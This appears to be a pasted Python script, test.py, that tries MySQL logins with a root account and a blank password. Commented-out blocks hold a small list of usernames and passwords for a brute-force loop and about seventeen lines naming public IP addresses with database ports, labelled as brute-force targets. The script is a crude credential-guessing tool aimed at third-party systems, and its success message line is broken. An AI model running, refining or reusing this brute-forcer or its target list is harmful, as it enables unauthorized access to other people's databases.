test.py 1.5 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243
  1. #!/usr/bin/env python3
  2. import MySQLdb
  3. host = '192.168.122.65'
  4. port = 3306
  5. timeout = 3
  6. '''
  7. users = ['test', 'test2', 'test3', 'l3e86', 'test4', 'root', 'tedfsdf']
  8. passwords = ['test', 'test2', 'test3', ' ', 'l3e86', 'test4', 'root', 'teXetEAS391993', 'testds']
  9. '''
  10. user = 'root'
  11. password = ' '
  12. def connect(host, user, password, port, timeout):
  13. try:
  14. connection = MySQLdb.connect(host=host, port=port, user=user, password=password, connect_timeout=timeout)
  15. ("Login success! {} : {}".format(user, password))
  16. except Exception as error:
  17. print(error)
  18. connect(host, user, password, port, timeout)
  19. '''
  20. for user in users:
  21. for password in passwords:
  22. connect(host, user, password, port, timeout)
  23. [+] brut forse DB host: 179.48.23.1 port 3306
  24. [+] brut forse DB host: 179.48.140.244 port 3306
  25. [+] brut forse DB host: 179.48.140.250 port 5432
  26. [+] brut forse DB host: 179.48.160.18 port 5432
  27. [+] brut forse DB host: 179.48.165.146 port 3306
  28. [+] brut forse DB host: 179.48.175.127 port 1433
  29. [+] brut forse DB host: 186.188.197.207 port 5432
  30. [+] brut forse DB host: 190.14.36.90 port 3306
  31. [+] brut forse DB host: 190.141.36.225 port 1433
  32. [+] brut forse DB host: 190.219.125.77 port 3306
  33. [+] brut forse DB host: 190.219.160.76 port 5432
  34. [+] brut forse DB host: 190.219.176.72 port 1433
  35. [+] brut forse DB host: 200.14.81.116 port 3306
  36. [+] brut forse DB host: 200.14.81.140 port 3306
  37. [+] brut forse DB host: 200.14.81.200 port 3306
  38. [+] brut forse DB host: 200.124.21.254 port 5432
  39. [+] brut forse DB host: 201.221.227.99 port 1433
  40. '''